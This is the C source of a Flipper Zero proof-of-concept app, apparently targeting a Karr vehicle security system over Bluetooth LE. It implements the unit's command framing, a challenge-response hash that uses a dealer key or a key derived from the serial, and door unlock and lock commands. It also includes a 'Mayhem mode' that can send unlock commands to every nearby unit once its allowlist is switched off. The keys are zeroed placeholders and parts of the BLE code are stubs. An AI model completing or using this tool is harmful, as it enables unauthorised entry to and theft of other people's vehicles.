if(callback) callback(KarrBleStatus_AuthResponseSent, "0x0F sent", context);
if(callback) callback(KarrBleStatus_AuthSuccess, "0x10 received", context);
return true;
}
bool karr_ble_send_command(QtCommand command) {
if(!karr_ble || !karr_ble->connected) {
FURI_LOG_E(TAG, "send_command without connection/auth");
return false;
}
uint8_t frame_buf[QT_MAX_FRAME_LEN];
size_t frame_len = qt_protocol_generate(command, NULL, 0, frame_buf, sizeof(frame_buf));
FURI_LOG_I(TAG, "TX command 0x%02x (%zu bytes)", command, frame_len);
return frame_len > 0;
}
void karr_ble_disconnect(void) {
if(!karr_ble) return;
FURI_LOG_I(TAG, "disconnect (STUB)");
karr_ble->connected = false;
}
void karr_ble_mayhem_run(
const KarrBleDevice* devices,
size_t device_count,
QtMode mode,
QtCommand command,
KarrMayhemDeviceCallback callback,
void* context) {
for(size_t i = 0; i < device_count; i++) {
const KarrBleDevice* dev = &devices[i];
FURI_LOG_I(TAG, "mayhem: device %zu/%zu '%s'", i + 1, device_count, dev->name);
bool auth_ok = karr_ble_connect_and_auth(dev, mode, NULL, NULL);
if(!auth_ok) {
if(callback) callback(dev, KarrMayhemResult_AuthFailed, context);
karr_ble_disconnect();
continue;
}
bool sent = karr_ble_send_command(command);
karr_ble_disconnect();
if(callback) {
callback(dev, sent ? KarrMayhemResult_Success : KarrMayhemResult_AuthFailed, context);
}
}
}
@@ -0,0 +1,69 @@
#pragma once
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
#include "qt_auth.h"
#include "qt_protocol.h"
#define KARR_BLE_SERVICE_UUID "49535343-FE7D-4AE5-8FA9-9FAFD205E455"
#define KARR_BLE_CHARACTERISTIC_UUID "49535343-1E4D-4BD9-BA61-23C647249616"
#define KARR_BLE_MAX_DEVICES 16
#define KARR_BLE_NAME_MAX_LEN 32
typedef struct {
char name[KARR_BLE_NAME_MAX_LEN];
uint8_t address[6];
int8_t rssi;
} KarrBleDevice;
typedef enum {
KarrBleStatus_ScanStarted,
KarrBleStatus_DeviceFound,
KarrBleStatus_Connecting,
KarrBleStatus_Connected,
KarrBleStatus_ServiceDiscovered,
KarrBleStatus_AuthInitSent,
KarrBleStatus_ChallengeReceived,
KarrBleStatus_AuthResponseSent,
KarrBleStatus_AuthSuccess,
KarrBleStatus_AuthFailed,
KarrBleStatus_CommandSent,
KarrBleStatus_Disconnected,
KarrBleStatus_Error,
} KarrBleStatus;
typedef void (*KarrBleStatusCallback)(KarrBleStatus status, const char* message, void* context);
bool karr_ble_scan_start(KarrBleStatusCallback callback, void* context);
void karr_ble_scan_stop(void);
bool karr_ble_connect_and_auth(
const KarrBleDevice* device,
QtMode mode,
KarrBleStatusCallback callback,
void* context);
bool karr_ble_send_command(QtCommand command);
void karr_ble_disconnect(void);
typedef enum {
KarrMayhemResult_Success,
KarrMayhemResult_AuthFailed,
KarrMayhemResult_ConnectFailed,
} KarrMayhemResult;
typedef void (*KarrMayhemDeviceCallback)(
const KarrBleDevice* device,
KarrMayhemResult result,
void* context);
void karr_ble_mayhem_run(
const KarrBleDevice* devices,
size_t device_count,
QtMode mode,
QtCommand command,
KarrMayhemDeviceCallback callback,
void* context);
@@ -0,0 +1,43 @@
#include "qt_auth.h"
#include <string.h>
static const uint8_t DEALER_KEY[16] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
static const uint8_t CUSTOMER_KEY[16] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};
bool qt_generate_hash(
QtMode mode,
const uint8_t challenge[QT_CHALLENGE_LEN],
const char* unit_serial,
uint8_t out[QT_HASH_OUT_LEN]) {
uint8_t key[16];
if(mode == QtMode_User || mode == QtMode_Valet) {
if(unit_serial == NULL || strlen(unit_serial) < 10) {
return false;
}
memcpy(key, CUSTOMER_KEY, 16);
key[3] = (uint8_t)unit_serial[7];
key[6] = (uint8_t)unit_serial[8];
key[9] = (uint8_t)unit_serial[9];
} else {
memcpy(key, DEALER_KEY, 16);
}
for(int i = 0; i < 16; i++) {
uint32_t acc = key[i];
for(int j = 0; j < QT_CHALLENGE_LEN; j++) {
acc = (uint32_t)(acc * 0x21u + challenge[j]);
}
out[2 * i] = (uint8_t)(acc & 0xFF);
out[2 * i + 1] = (uint8_t)((acc >> 8) & 0xFF);
}
return true;
}
@@ -0,0 +1,25 @@
#pragma once
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
typedef enum {
QtMode_Installer = 0,
QtMode_Dealer = 1,
QtMode_User = 2,
QtMode_NoSale = 3,
QtMode_BCA = 4,
QtMode_Valet = 5,
QtMode_Bootload = 6,
QtMode_Unconfigured = 7,
} QtMode;
#define QT_HASH_OUT_LEN 32
#define QT_CHALLENGE_LEN 8
bool qt_generate_hash(
QtMode mode,
const uint8_t challenge[QT_CHALLENGE_LEN],
const char* unit_serial,
uint8_t out[QT_HASH_OUT_LEN]);
@@ -0,0 +1,82 @@
#include "qt_protocol.h"
#include <string.h>
size_t qt_protocol_generate(
QtCommand command,
const uint8_t* data,
size_t data_len,
uint8_t* out_buf,
size_t out_buf_size) {
bool data_is_null = (data == NULL);
size_t effective_data_len = data_is_null ? 1 : data_len;
size_t payload_len = effective_data_len + 1;
size_t frame_len = 5 + effective_data_len;
if(frame_len > out_buf_size) {
return 0;
}
memset(out_buf, 0, frame_len);
out_buf[1] = (uint8_t)((payload_len >> 8) & 0xFF);
out_buf[2] = (uint8_t)(payload_len & 0xFF);
out_buf[3] = (uint8_t)command;
if(!data_is_null) {
memcpy(&out_buf[4], data, data_len);
}
uint32_t checksum = 0;
for(size_t i = 0; i < frame_len; i++) {
checksum += out_buf[i];
}
uint8_t crc = (uint8_t)((~(checksum & 0xFF)) + 1);
out_buf[frame_len - 1] = crc;
out_buf[0] = QT_MARKER;
return frame_len;
}
bool qt_protocol_parse(
const uint8_t* uart,
size_t uart_len,
size_t offset,
uint8_t* command_out,
uint8_t* data_out,
size_t data_out_max,
size_t* data_len_out) {
if(offset >= uart_len) return false;
if(uart[offset] != QT_MARKER) return false;
if(offset + 3 > uart_len) return false;
uint16_t length = ((uint16_t)uart[offset + 1] << 8) | uart[offset + 2];
size_t crc_pos = offset + 3 + length;
if(crc_pos >= uart_len) return false;
uint8_t crc_received = uart[crc_pos];
size_t window_start = offset + 1;
size_t window_len = (size_t)length + 2;
if(window_start + window_len > uart_len) return false;
uint32_t checksum = 0;
for(size_t i = 0; i < window_len; i++) {
checksum += uart[window_start + i];
}
checksum &= 0xFF;
if(((crc_received + checksum) & 0xFF) != 0) {
return false;
}
*command_out = uart[offset + 3];
size_t dlen = (length >= 1) ? (length - 1) : 0;
if(dlen > data_out_max) return false;
memcpy(data_out, &uart[offset + 4], dlen);
*data_len_out = dlen;
return true;
}
@@ -0,0 +1,37 @@
#pragma once
#include <stdint.h>
#include <stdbool.h>
#include <stddef.h>
#define QT_MARKER 0xAA
#define QT_MAX_DATA_LEN 64
#define QT_MAX_FRAME_LEN (QT_MAX_DATA_LEN + 5)
typedef enum {
QtCmd_LockDoors = 0x0B,
QtCmd_UnlockDoors = 0x0C,
QtCmd_SilentLock = 0x25,
QtCmd_SilentUnlock = 0x26,
QtCmd_AuthInit = 0x22,
QtCmd_AuthChallenge = 0x0E,
QtCmd_AuthResponse = 0x0F,
QtCmd_AuthSuccess = 0x10,
} QtCommand;
size_t qt_protocol_generate(
QtCommand command,
const uint8_t* data,
size_t data_len,
uint8_t* out_buf,
size_t out_buf_size);
bool qt_protocol_parse(
const uint8_t* uart,
size_t uart_len,
size_t offset,
uint8_t* command_out,
uint8_t* data_out,
size_t data_out_max,
size_t* data_len_out);
@@ -0,0 +1,97 @@
#include "karr_poc_app.h"
#include "scenes/karr_poc_scene.h"
extern const SceneManagerHandlers karr_poc_scene_handlers;
const char* const karr_default_allowlist[] = {
"PLACEHOLDER-SERIAL-1",
"PLACEHOLDER-SERIAL-2",
};
const size_t karr_default_allowlist_count =
sizeof(karr_default_allowlist) / sizeof(karr_default_allowlist[0]);
static bool karr_poc_app_custom_event_callback(void* context, uint32_t event) {
KarrPocApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
static bool karr_poc_app_back_event_callback(void* context) {
KarrPocApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static KarrPocApp* karr_poc_app_alloc(void) {
KarrPocApp* app = malloc(sizeof(KarrPocApp));
memset(app, 0, sizeof(KarrPocApp));
app->gui = furi_record_open(RECORD_GUI);
app->view_dispatcher = view_dispatcher_alloc();
app->scene_manager = scene_manager_alloc(&karr_poc_scene_handlers, app);
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(app->view_dispatcher, karr_poc_app_custom_event_callback);
view_dispatcher_set_navigation_event_callback(app->view_dispatcher, karr_poc_app_back_event_callback);
app->submenu = submenu_alloc();
view_dispatcher_add_view(app->view_dispatcher, KarrPocView_Submenu, submenu_get_view(app->submenu));
app->widget = widget_alloc();
view_dispatcher_add_view(app->view_dispatcher, KarrPocView_Widget, widget_get_view(app->widget));
app->text_box = text_box_alloc();
view_dispatcher_add_view(app->view_dispatcher, KarrPocView_TextBox, text_box_get_view(app->text_box));
app->log_text = furi_string_alloc();
app->mode = QtMode_User;
app->pending_command = QtCmd_UnlockDoors;
app->allowlist_enabled = true;
app->allowlist_count = karr_default_allowlist_count < KARR_ALLOWLIST_MAX
? karr_default_allowlist_count
: KARR_ALLOWLIST_MAX;
for(size_t i = 0; i < app->allowlist_count; i++) {
strncpy(app->allowlist[i], karr_default_allowlist[i], KARR_BLE_NAME_MAX_LEN - 1);
app->allowlist[i][KARR_BLE_NAME_MAX_LEN - 1] = '\0';
}
app->mayhem_mode = QtMode_User;
app->mayhem_command = QtCmd_UnlockDoors;
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
return app;
}
static void karr_poc_app_free(KarrPocApp* app) {
furi_string_free(app->log_text);
view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_Submenu);
submenu_free(app->submenu);
view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_Widget);
widget_free(app->widget);
view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_TextBox);
text_box_free(app->text_box);
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
furi_record_close(RECORD_GUI);
free(app);
}
int32_t karr_poc_app(void* p) {
UNUSED(p);
KarrPocApp* app = karr_poc_app_alloc();
scene_manager_next_scene(app->scene_manager, KarrPocScene_Start);
view_dispatcher_run(app->view_dispatcher);
karr_poc_app_free(app);
return 0;
}
@@ -0,0 +1,69 @@
#pragma once
#include <furi.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <gui/modules/widget.h>
#include <gui/modules/text_box.h>
#include "helpers/karr_ble.h"
#include "helpers/qt_auth.h"
#include "helpers/qt_protocol.h"
#define KARR_POC_LOG_MAX_LEN 1024
typedef enum {
KarrPocView_Submenu,
KarrPocView_Widget,
KarrPocView_TextBox,
} KarrPocView;
#define KARR_ALLOWLIST_MAX 4
extern const char* const karr_default_allowlist[];
extern const size_t karr_default_allowlist_count;
typedef struct {
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
Submenu* submenu;
Widget* widget;
TextBox* text_box;
KarrBleDevice devices[KARR_BLE_MAX_DEVICES];
size_t device_count;
size_t selected_device;
QtMode mode;
QtCommand pending_command;
char allowlist[KARR_ALLOWLIST_MAX][KARR_BLE_NAME_MAX_LEN];
size_t allowlist_count;
bool allowlist_enabled;
QtMode mayhem_mode;
QtCommand mayhem_command;
FuriString* log_text;
} KarrPocApp;
typedef enum {
KarrPocEvent_DeviceFound,
KarrPocEvent_AuthStep,
KarrPocEvent_AuthDone,
KarrPocEvent_AuthFailed,
KarrPocEvent_CommandDone,
KarrPocEvent_MayhemToggleAllowlist,
KarrPocEvent_MayhemUnlockUser,
KarrPocEvent_MayhemLockUser,
KarrPocEvent_MayhemUnlockDealer,
KarrPocEvent_MayhemLockDealer,
KarrPocEvent_MayhemConfirmYes,
KarrPocEvent_MayhemConfirmNo,
KarrPocEvent_MayhemScanDone,
KarrPocEvent_MayhemRunDone,
} KarrPocCustomEvent;
@@ -0,0 +1,26 @@
#include "karr_poc_scene.h"
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
void (*const karr_poc_scene_on_enter_handlers[])(void*) = {
#include "karr_poc_scene_config.h"
};
#undef ADD_SCENE
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
bool (*const karr_poc_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
#include "karr_poc_scene_config.h"
};
#undef ADD_SCENE
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
void (*const karr_poc_scene_on_exit_handlers[])(void* context) = {
#include "karr_poc_scene_config.h"
};
#undef ADD_SCENE
const SceneManagerHandlers karr_poc_scene_handlers = {
.on_enter_handlers = karr_poc_scene_on_enter_handlers,
.on_event_handlers = karr_poc_scene_on_event_handlers,
.on_exit_handlers = karr_poc_scene_on_exit_handlers,
.scene_num = KarrPocScene_count,
};
@@ -0,0 +1,17 @@
#pragma once
#include <gui/scene_manager.h>
#define ADD_SCENE(prefix, name, id) KarrPocScene_##id,
typedef enum {
#include "karr_poc_scene_config.h"
KarrPocScene_count,
} KarrPocScene;
#undef ADD_SCENE
#define ADD_SCENE(prefix, name, id) \
void prefix##_scene_##name##_on_enter(void* context); \
bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); \
void prefix##_scene_##name##_on_exit(void* context);
#include "karr_poc_scene_config.h"
#undef ADD_SCENE
@@ -0,0 +1,91 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
static const char* karr_ble_status_label(KarrBleStatus status) {
switch(status) {
case KarrBleStatus_ScanStarted:
return "Scan started";
case KarrBleStatus_DeviceFound:
return "Device found";
case KarrBleStatus_Connecting:
return "Connecting";
case KarrBleStatus_Connected:
return "Connected";
case KarrBleStatus_ServiceDiscovered:
return "Service/char OK";
case KarrBleStatus_AuthInitSent:
return "TX 0x22 (init)";
case KarrBleStatus_ChallengeReceived:
return "RX 0x0E (challenge)";
case KarrBleStatus_AuthResponseSent:
return "TX 0x0F (hash)";
case KarrBleStatus_AuthSuccess:
return "RX 0x10 (success)";
case KarrBleStatus_AuthFailed:
return "AUTH FAILED";
case KarrBleStatus_CommandSent:
return "Command sent";
case KarrBleStatus_Disconnected:
return "Disconnected";
case KarrBleStatus_Error:
return "ERROR";
default:
return "?";
}
}
static void karr_poc_scene_auth_ble_callback(KarrBleStatus status, const char* message, void* context) {
KarrPocApp* app = context;
furi_string_cat_printf(app->log_text, "%s: %s\n", karr_ble_status_label(status), message);
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
if(status == KarrBleStatus_AuthSuccess) {
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthDone);
} else if(status == KarrBleStatus_AuthFailed || status == KarrBleStatus_Error) {
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthFailed);
}
}
void karr_poc_scene_auth_on_enter(void* context) {
KarrPocApp* app = context;
KarrBleDevice* dev = &app->devices[app->selected_device];
furi_string_reset(app->log_text);
text_box_reset(app->text_box);
text_box_set_font(app->text_box, TextBoxFontText);
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
bool ok = karr_ble_connect_and_auth(dev, app->mode, karr_poc_scene_auth_ble_callback, app);
if(!ok) {
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthFailed);
}
}
bool karr_poc_scene_auth_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KarrPocEvent_AuthDone) {
bool sent = karr_ble_send_command(app->pending_command);
furi_string_cat_printf(
app->log_text, "\n%s\n", sent ? "Command sent OK" : "Failed to send command");
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
consumed = true;
} else if(event.event == KarrPocEvent_AuthFailed) {
scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
consumed = true;
}
}
return consumed;
}
void karr_poc_scene_auth_on_exit(void* context) {
UNUSED(context);
}
@@ -0,0 +1,9 @@
ADD_SCENE(karr_poc, start, Start)
ADD_SCENE(karr_poc, scan, Scan)
ADD_SCENE(karr_poc, device_menu, DeviceMenu)
ADD_SCENE(karr_poc, auth, Auth)
ADD_SCENE(karr_poc, result, Result)
ADD_SCENE(karr_poc, mayhem_menu, MayhemMenu)
ADD_SCENE(karr_poc, mayhem_confirm, MayhemConfirm)
ADD_SCENE(karr_poc, mayhem_scan, MayhemScan)
ADD_SCENE(karr_poc, mayhem_run, MayhemRun)
@@ -0,0 +1,86 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
typedef enum {
KarrPocDeviceMenuIndex_UnlockUser,
KarrPocDeviceMenuIndex_LockUser,
KarrPocDeviceMenuIndex_UnlockDealer,
KarrPocDeviceMenuIndex_LockDealer,
} KarrPocDeviceMenuIndex;
static void karr_poc_scene_device_menu_submenu_callback(void* context, uint32_t index) {
KarrPocApp* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, index);
}
void karr_poc_scene_device_menu_on_enter(void* context) {
KarrPocApp* app = context;
KarrBleDevice* dev = &app->devices[app->selected_device];
submenu_reset(app->submenu);
submenu_set_header(app->submenu, dev->name);
submenu_add_item(
app->submenu,
"Unlock (mode User)",
KarrPocDeviceMenuIndex_UnlockUser,
karr_poc_scene_device_menu_submenu_callback,
app);
submenu_add_item(
app->submenu,
"Lock (mode User)",
KarrPocDeviceMenuIndex_LockUser,
karr_poc_scene_device_menu_submenu_callback,
app);
submenu_add_item(
app->submenu,
"Unlock (mode Dealer)",
KarrPocDeviceMenuIndex_UnlockDealer,
karr_poc_scene_device_menu_submenu_callback,
app);
submenu_add_item(
app->submenu,
"Lock (mode Dealer)",
KarrPocDeviceMenuIndex_LockDealer,
karr_poc_scene_device_menu_submenu_callback,
app);
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
}
bool karr_poc_scene_device_menu_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
switch(event.event) {
case KarrPocDeviceMenuIndex_UnlockUser:
app->mode = QtMode_User;
app->pending_command = QtCmd_UnlockDoors;
break;
case KarrPocDeviceMenuIndex_LockUser:
app->mode = QtMode_User;
app->pending_command = QtCmd_LockDoors;
break;
case KarrPocDeviceMenuIndex_UnlockDealer:
app->mode = QtMode_Dealer;
app->pending_command = QtCmd_UnlockDoors;
break;
case KarrPocDeviceMenuIndex_LockDealer:
app->mode = QtMode_Dealer;
app->pending_command = QtCmd_LockDoors;
break;
default:
return false;
}
scene_manager_next_scene(app->scene_manager, KarrPocScene_Auth);
consumed = true;
}
return consumed;
}
void karr_poc_scene_device_menu_on_exit(void* context) {
KarrPocApp* app = context;
submenu_reset(app->submenu);
}
@@ -0,0 +1,57 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
static void karr_poc_scene_mayhem_confirm_widget_callback(
GuiButtonType result,
InputType type,
void* context) {
KarrPocApp* app = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(app->view_dispatcher, result);
}
}
void karr_poc_scene_mayhem_confirm_on_enter(void* context) {
KarrPocApp* app = context;
widget_reset(app->widget);
widget_add_text_scroll_element(
app->widget,
0,
0,
128,
44,
"ALLOWLIST DISABLED\n\n"
"This will send the command\n"
"to ALL units that respond\n"
"nearby, without filtering.\n\n"
"Are you sure?");
widget_add_button_element(
app->widget, GuiButtonTypeLeft, "Cancel", karr_poc_scene_mayhem_confirm_widget_callback, app);
widget_add_button_element(
app->widget, GuiButtonTypeRight, "Yes, do it", karr_poc_scene_mayhem_confirm_widget_callback, app);
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
}
bool karr_poc_scene_mayhem_confirm_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == GuiButtonTypeRight) {
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemScan);
consumed = true;
} else if(event.event == GuiButtonTypeLeft) {
scene_manager_search_and_switch_to_previous_scene(app->scene_manager, KarrPocScene_MayhemMenu);
consumed = true;
}
}
return consumed;
}
void karr_poc_scene_mayhem_confirm_on_exit(void* context) {
KarrPocApp* app = context;
widget_reset(app->widget);
}
@@ -0,0 +1,110 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
#include <stdio.h>
static void karr_poc_scene_mayhem_menu_submenu_callback(void* context, uint32_t index) {
KarrPocApp* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, index);
}
void karr_poc_scene_mayhem_menu_on_enter(void* context) {
KarrPocApp* app = context;
submenu_reset(app->submenu);
submenu_set_header(app->submenu, "Mayhem mode");
char allowlist_label[48];
snprintf(
allowlist_label,
sizeof(allowlist_label),
"Allowlist: %s (%zu)",
app->allowlist_enabled ? "ON" : "OFF",
app->allowlist_count);
submenu_add_item(
app->submenu,
allowlist_label,
KarrPocEvent_MayhemToggleAllowlist,
karr_poc_scene_mayhem_menu_submenu_callback,
app);
submenu_add_item(
app->submenu,
"Unlock All (User)",
KarrPocEvent_MayhemUnlockUser,
karr_poc_scene_mayhem_menu_submenu_callback,
app);
submenu_add_item(
app->submenu,
"Lock All (User)",
KarrPocEvent_MayhemLockUser,
karr_poc_scene_mayhem_menu_submenu_callback,
app);
submenu_add_item(
app->submenu,
"Unlock All (Dealer)",
KarrPocEvent_MayhemUnlockDealer,
karr_poc_scene_mayhem_menu_submenu_callback,
app);
submenu_add_item(
app->submenu,
"Lock All (Dealer)",
KarrPocEvent_MayhemLockDealer,
karr_poc_scene_mayhem_menu_submenu_callback,
app);
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Submenu);
}
bool karr_poc_scene_mayhem_menu_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type != SceneManagerEventTypeCustom) return false;
if(event.event == KarrPocEvent_MayhemToggleAllowlist) {
app->allowlist_enabled = !app->allowlist_enabled;
karr_poc_scene_mayhem_menu_on_enter(app);
return true;
}
QtMode mode;
QtCommand command;
switch(event.event) {
case KarrPocEvent_MayhemUnlockUser:
mode = QtMode_User;
command = QtCmd_UnlockDoors;
break;
case KarrPocEvent_MayhemLockUser:
mode = QtMode_User;
command = QtCmd_LockDoors;
break;
case KarrPocEvent_MayhemUnlockDealer:
mode = QtMode_Dealer;
command = QtCmd_UnlockDoors;
break;
case KarrPocEvent_MayhemLockDealer:
mode = QtMode_Dealer;
command = QtCmd_LockDoors;
break;
default:
return false;
}
app->mayhem_mode = mode;
app->mayhem_command = command;
if(app->allowlist_enabled) {
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemScan);
} else {
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemConfirm);
}
consumed = true;
return consumed;
}
void karr_poc_scene_mayhem_menu_on_exit(void* context) {
KarrPocApp* app = context;
submenu_reset(app->submenu);
}
@@ -0,0 +1,97 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
#include <string.h>
static bool karr_poc_device_in_allowlist(KarrPocApp* app, const char* name) {
for(size_t i = 0; i < app->allowlist_count; i++) {
if(strcmp(app->allowlist[i], name) == 0) return true;
}
return false;
}
static void karr_poc_scene_mayhem_run_device_callback(
const KarrBleDevice* device,
KarrMayhemResult result,
void* context) {
KarrPocApp* app = context;
const char* label;
switch(result) {
case KarrMayhemResult_Success:
label = "OK";
break;
case KarrMayhemResult_AuthFailed:
label = "AUTH FAILED";
break;
case KarrMayhemResult_ConnectFailed:
label = "CONNECT FAILED";
break;
default:
label = "?";
break;
}
furi_string_cat_printf(app->log_text, "%s -> %s\n", device->name, label);
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
}
void karr_poc_scene_mayhem_run_on_enter(void* context) {
KarrPocApp* app = context;
text_box_reset(app->text_box);
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
KarrBleDevice targets[KARR_BLE_MAX_DEVICES];
size_t target_count = 0;
for(size_t i = 0; i < app->device_count; i++) {
bool allowed = !app->allowlist_enabled || karr_poc_device_in_allowlist(app, app->devices[i].name);
if(allowed && target_count < KARR_BLE_MAX_DEVICES) {
targets[target_count++] = app->devices[i];
}
}
furi_string_cat_printf(
app->log_text,
"\nMayhem: %zu of %zu units%s\n\n",
target_count,
app->device_count,
app->allowlist_enabled ? " (filtered by allowlist)" : "");
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
if(target_count == 0) {
furi_string_cat_str(
app->log_text, "No units found match the\nallowlist. Nothing to do.\n");
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemRunDone);
return;
}
karr_ble_mayhem_run(
targets,
target_count,
app->mayhem_mode,
app->mayhem_command,
karr_poc_scene_mayhem_run_device_callback,
app);
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemRunDone);
}
bool karr_poc_scene_mayhem_run_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KarrPocEvent_MayhemRunDone) {
scene_manager_next_scene(app->scene_manager, KarrPocScene_Result);
consumed = true;
}
}
return consumed;
}
void karr_poc_scene_mayhem_run_on_exit(void* context) {
UNUSED(context);
}
@@ -0,0 +1,70 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
#include <string.h>
#define MAYHEM_SCAN_DURATION_MS 4000
static void karr_poc_scene_mayhem_scan_ble_callback(
KarrBleStatus status,
const char* message,
void* context) {
KarrPocApp* app = context;
if(status == KarrBleStatus_DeviceFound) {
if(app->device_count < KARR_BLE_MAX_DEVICES) {
KarrBleDevice* dev = &app->devices[app->device_count];
strncpy(dev->name, message, KARR_BLE_NAME_MAX_LEN - 1);
dev->name[KARR_BLE_NAME_MAX_LEN - 1] = '\0';
memset(dev->address, 0, sizeof(dev->address));
dev->rssi = 0;
app->device_count++;
}
}
}
void karr_poc_scene_mayhem_scan_on_enter(void* context) {
KarrPocApp* app = context;
app->device_count = 0;
furi_string_reset(app->log_text);
text_box_reset(app->text_box);
furi_string_cat_str(app->log_text, "Scanning for devices...\n\nPlease wait...\n");
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
karr_ble_scan_start(karr_poc_scene_mayhem_scan_ble_callback, app);
furi_delay_ms(MAYHEM_SCAN_DURATION_MS);
karr_ble_scan_stop();
furi_string_reset(app->log_text);
furi_string_cat_printf(
app->log_text, "Scan complete: %zu devices found\n\n", app->device_count);
for(size_t i = 0; i < app->device_count; i++) {
furi_string_cat_printf(
app->log_text, "%zu. %s\n", i + 1, app->devices[i].name);
}
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_MayhemScanDone);
}
bool karr_poc_scene_mayhem_scan_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KarrPocEvent_MayhemScanDone) {
scene_manager_next_scene(app->scene_manager, KarrPocScene_MayhemRun);
consumed = true;
}
}
return consumed;
}
void karr_poc_scene_mayhem_scan_on_exit(void* context) {
UNUSED(context);
}
@@ -0,0 +1,42 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
static void karr_poc_scene_result_widget_callback(GuiButtonType result, InputType type, void* context) {
KarrPocApp* app = context;
if(type == InputTypeShort) {
view_dispatcher_send_custom_event(app->view_dispatcher, result);
}
}
void karr_poc_scene_result_on_enter(void* context) {
KarrPocApp* app = context;
widget_reset(app->widget);
widget_add_text_scroll_element(
app->widget, 0, 0, 128, 50, furi_string_get_cstr(app->log_text));
widget_add_button_element(
app->widget, GuiButtonTypeCenter, "Back to start", karr_poc_scene_result_widget_callback, app);
karr_ble_disconnect();
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_Widget);
}
bool karr_poc_scene_result_on_event(void* context, SceneManagerEvent event) {
KarrPocApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == GuiButtonTypeCenter) {
scene_manager_search_and_switch_to_previous_scene(app->scene_manager, KarrPocScene_Start);
consumed = true;
}
}
return consumed;
}
void karr_poc_scene_result_on_exit(void* context) {
KarrPocApp* app = context;
widget_reset(app->widget);
}
@@ -0,0 +1,67 @@
#include "karr_poc_scene.h"
#include "../karr_poc_app.h"
#include <string.h>
static void karr_poc_scene_scan_submenu_callback(void* context, uint32_t index) {
KarrPocApp* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, index);
}
static void karr_poc_scene_scan_ble_callback(KarrBleStatus status, const char* message, void* context) {
KarrPocApp* app = context;
if(status == KarrBleStatus_DeviceFound) {
if(app->device_count < KARR_BLE_MAX_DEVICES) {
KarrBleDevice* dev = &app->devices[app->device_count];
strncpy(dev->name, message, KARR_BLE_NAME_MAX_LEN - 1);
dev->name[KARR_BLE_NAME_MAX_LEN - 1] = '\0';
